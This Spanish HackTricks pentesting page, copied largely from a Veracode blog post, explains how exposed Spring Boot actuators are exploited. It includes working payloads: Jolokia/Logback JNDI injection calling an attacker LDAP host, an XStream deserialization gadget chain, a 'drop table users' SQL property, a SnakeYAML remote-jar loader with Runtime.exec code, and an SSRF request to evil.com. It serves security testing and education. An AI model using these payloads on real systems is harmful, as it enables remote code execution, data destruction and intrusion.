hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

20 KiB

Spring Actuators

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Bypass de Autenticación en Spring

De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Explotando Actuadores de Spring Boot

copiado de https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

El Framework de Spring Boot incluye una serie de características llamadas actuadores para ayudarte a monitorear y gestionar tu aplicación web cuando la despliegas en producción. Destinados a ser utilizados para auditoría, salud y recolección de métricas, también pueden abrir una puerta oculta a tu servidor cuando están mal configurados.

Cuando una aplicación de Spring Boot está en ejecución, registra automáticamente varios endpoints (como '/health', '/trace', '/beans', '/env', etc.) en el proceso de enrutamiento. Para Spring Boot 1 - 1.4, son accesibles sin autenticación, causando problemas significativos de seguridad. A partir de la versión 1.5 de Spring, todos los endpoints, excepto '/health' y '/info', se consideran sensibles y están asegurados por defecto, pero esta seguridad a menudo es desactivada por los desarrolladores de aplicaciones.

Los siguientes endpoints de Actuator podrían tener implicaciones de seguridad que conducen a posibles vulnerabilidades:

  • /dump - muestra un volcado de hilos (incluyendo un rastreo de pila)
  • /trace - muestra los últimos mensajes HTTP (que podrían incluir identificadores de sesión)
  • /logfile - muestra el contenido del archivo de registro
  • /shutdown - apaga la aplicación
  • /mappings - muestra todas las asignaciones de controladores MVC
  • /env - proporciona acceso al entorno de configuración
  • /actuator/env
  • /restart - reinicia la aplicación
  • /heapdump - Construye y devuelve un volcado de montón de la JVM utilizada por nuestra aplicación

Para Spring 1x, están registrados bajo la URL raíz, y en 2x se trasladaron a la base de ruta "/actuator/".

Explotación:

La mayoría de los actuadores solo admiten solicitudes GET y simplemente revelan datos de configuración sensibles, pero varios de ellos son particularmente interesantes para los cazadores de shells:

1. Ejecución de Código Remoto vía '/jolokia'

Si la Biblioteca Jolokia está en la classpath de la aplicación objetivo, se expone automáticamente por Spring Boot bajo el endpoint del actuador '/jolokia'. Jolokia permite el acceso HTTP a todos los MBeans registrados y está diseñado para realizar las mismas operaciones que puedes realizar con JMX. Es posible listar todas las acciones de MBeans disponibles utilizando la URL:

http://127.0.0.1:8090/jolokia/list

De nuevo, la mayoría de las acciones de MBeans solo revelan algunos datos del sistema, pero una es particularmente interesante:

reloadByURL

La acción 'reloadByURL', proporcionada por la biblioteca Logback, nos permite recargar la configuración de registro desde una URL externa. Se podría activar simplemente navegando a:http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

Entonces, ¿por qué debería importarnos la configuración de registro? Principalmente por dos cosas:

  1. La configuración tiene un formato XML, y por supuesto, Logback lo analiza con Entidades Externas habilitadas, por lo que es vulnerable a XXE ciego.
  2. La configuración de Logback tiene la característica 'Obtención de variables de JNDI'. En el archivo XML, podemos incluir una etiqueta como '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />' y el atributo name se pasará al método DirContext.lookup(). Si podemos suministrar un nombre arbitrario en la función .lookup(), ni siquiera necesitamos XXE o HeapDump porque nos da una completa Ejecución de Código Remoto.

Cómo funciona:

1. Un atacante solicita la URL mencionada para ejecutar la función 'reloadByURL', proporcionada por la clase 'qos.logback.classic.jmx.JMXConfigurator'.

2. La función 'reloadByURL' descarga una nueva configuración de http://artsploit.com/logback.xml y la analiza como una configuración de Logback. Esta configuración maliciosa debería tener el siguiente contenido:

<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>

3. Cuando este archivo se analiza en el servidor vulnerable, crea una conexión al servidor LDAP controlado por el atacante especificado en el valor del parámetro "env-entry-name", lo que lleva a la resolución de JNDI. El servidor LDAP malicioso puede devolver un objeto con tipo 'Reference' para desencadenar una ejecución del bytecode suministrado en la aplicación objetivo. Los ataques JNDI están bien explicados en este documento de investigación de MicroFocus. La nueva técnica de explotación de JNDI (descrita anteriormente en nuestro blog) también funciona aquí, ya que Tomcat es el servidor de aplicaciones predeterminado en el Spring Boot Framework.

2. Modificación de configuración vía '/env'

Si las bibliotecas de Spring Cloud están en el classpath, el endpoint '/env' te permite modificar las propiedades ambientales de Spring. Todos los beans anotados como '@ConfigurationProperties' pueden ser modificados y reasociados. Muchas, aunque no todas, las propiedades que podemos controlar están listadas en el endpoint del actuator '/configprops'. De hecho, hay toneladas de ellas, pero no está absolutamente claro qué necesitamos modificar para lograr algo. Después de pasar un par de días jugando con ellas encontramos esto:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

Esta propiedad modifica la URL del servicio Eureka a un valor arbitrario. El servidor Eureka normalmente se utiliza como servidor de descubrimiento, y casi todas las aplicaciones de Spring Cloud se registran en él y envían actualizaciones de estado. Si tienes suerte de tener Eureka-Client <1.8.7 en el classpath objetivo (normalmente está incluido en Spring Cloud Netflix), puedes explotar la vulnerabilidad de deserialización XStream en él. Todo lo que necesitas hacer es establecer la propiedad 'eureka.client.serviceUrl.defaultZone' a la URL de tu servidor ( http://artsploit.com/n/xstream) a través de '/env' y luego llamar al endpoint '/refresh'. Después de eso, tu servidor debería servir la carga útil de XStream con el siguiente contenido:

<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

Este payload de XStream es una versión ligeramente modificada de la cadena de gadgets ImageIO JDK-only del investigación de Marshalsec. La única diferencia aquí es el uso de LinkedHashSet para activar el método 'jdk.nashorn.internal.objects.NativeString.hashCode()'. El payload original utiliza java.lang.Map para lograr el mismo comportamiento, pero la configuración de XStream de Eureka tiene un convertidor personalizado para mapas que lo hace inutilizable. El payload anterior no utiliza Maps en absoluto y se puede utilizar para lograr Ejecución de Código Remoto sin restricciones adicionales.

Utilizando Spring Actuators, puedes explotar esta vulnerabilidad incluso si no tienes acceso a un servidor Eureka interno; solo necesitas un punto final "/env" disponible.

Otras configuraciones útiles:

spring.datasource.tomcat.validationQuery=drop+table+users - te permite especificar cualquier consulta SQL, y se ejecutará automáticamente contra la base de datos actual. Podría ser cualquier declaración, incluyendo insert, update o delete.

Explotando Spring Boot Actuators Drop Table

spring.datasource.tomcat.url=jdbc:hsqldb:https://localhost:3002/xdb - te permite modificar la cadena de conexión JDBC actual.

La última parece excelente, pero el problema es cuando la aplicación que ejecuta la conexión a la base de datos ya está establecida, simplemente actualizar la cadena JDBC no tiene ningún efecto. Afortunadamente, hay otra propiedad que puede ayudarnos en este caso:

spring.datasource.tomcat.max-active=777

El truco que podemos usar aquí es aumentar el número de conexiones simultáneas a la base de datos. Entonces, podemos cambiar la cadena de conexión JDBC, aumentar el número de conexiones y después de eso enviar muchas solicitudes a la aplicación para simular una carga pesada. Bajo la carga, la aplicación creará una nueva conexión a la base de datos con la cadena JDBC maliciosa actualizada. Probé esta técnica localmente contra Mysql y funciona de maravilla.

Explotando Spring Boot Actuators Max Active

Aparte de eso, hay otras propiedades que parecen interesantes, pero, en la práctica, no son realmente útiles:

spring.datasource.url - cadena de conexión a la base de datos (utilizada solo para la primera conexión)

spring.datasource.jndiName - cadena JNDI de bases de datos (utilizada solo para la primera conexión)

spring.datasource.tomcat.dataSourceJNDI - cadena JNDI de bases de datos (no utilizada en absoluto)

spring.cloud.config.uri=http://artsploit.com/ - URL de configuración de spring cloud (no tiene ningún efecto después del inicio de la app, solo se utilizan los valores iniciales.)

Estas propiedades no tienen ningún efecto a menos que se llame al punto final '/restart'. Este punto final reinicia todos los ApplicationContext pero está deshabilitado por defecto.

Hay muchas otras propiedades interesantes, pero la mayoría de ellas no tienen efecto inmediato después del cambio.

N.B. En Spring Boot 2x, el formato de solicitud para modificar propiedades a través del punto final '/env' es ligeramente diferente (utiliza formato json), pero la idea es la misma.

Un ejemplo de la aplicación vulnerable:

Si quieres probar esta vulnerabilidad localmente, he creado una aplicación simple de Spring Boot en mi página de Github. Todos los payloads deberían funcionar allí, excepto por la configuración de la base de datos (a menos que la configures).

Descubrimiento de caja negra:

Una lista completa de actuadores predeterminados se puede encontrar aquí: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt. Ten en cuenta que los desarrolladores de aplicaciones pueden crear sus propios puntos finales utilizando la anotación @Endpoint.

Actualización mayo de 2019:

Hay una forma más confiable de lograr RCE a través de una modificación de las propiedades ambientales de Spring:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

Esta solicitud modifica la propiedad 'spring.cloud.bootstrap.location', que se utiliza para cargar la configuración externa y analizarla en formato YAML. Para que esto suceda, también necesitamos llamar al endpoint '/refresh'.

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Cuando la configuración YAML se obtiene del servidor remoto, se analiza con la biblioteca SnakeYAML, que también es susceptible a ataques de deserialización. El payload (yaml-payload.yml) puede generarse utilizando la investigación de Marshalsec mencionada anteriormente:

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]

La deserialización de este archivo desencadena la ejecución del constructor de 'ScriptEngineManager' con el 'URLClassLoader' suministrado. En resumen, conduce al método 'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)', que intenta encontrar todas las implementaciones de la interfaz 'ScriptEngineFactory' dentro de todas las bibliotecas en el classpath. Dado que podemos agregar una nueva biblioteca a través de 'URLClassLoader', podemos servir un nuevo 'ScriptEngineFactory' con el bytecode malicioso dentro. Para hacerlo, necesitamos crear un archivo jar con los siguientes archivos obligatorios: yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class debe contener el bytecode actual, con el payload malicioso en el constructor.

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) debe ser solo un archivo de texto que contenga una referencia completa a 'artsploit.AwesomeScriptEngineFactory', para que el ServiceLoader sepa dónde encontrar la clase: **artsploit.AwesomeScriptEngineFactory** Nuevamente, esta técnica de explotación requiere que spring cloud esté en el classpath, pero en comparación con el payload de XStream de Eureka, funciona incluso en la última versión. Puedes encontrar el payload completo en mi proyecto de github: [yaml-payload](https://github.com/artsploit/yaml-payload).

## Env + H2 RCE

Consulta esta página para saber cómo explotar la combinación /env + H2: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)

## SSRF en Spring Boot a través de la interpretación incorrecta del nombre de ruta <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>

[**De esta investigación**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation): El framework de Spring acepta el carácter separador de parámetros de matriz `;` antes de la primera barra del nombre de ruta HTTP:
GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close

En un escenario como el siguiente:

Teniendo en cuenta que Spring permite cualquier carácter después del separador de parámetros Matrix, también es posible utilizar el carácter @ para obtener un endpoint arbitrario.

A continuación se muestra un ejemplo de la solicitud de exploit:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Más Información

Aprende AWS hacking de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: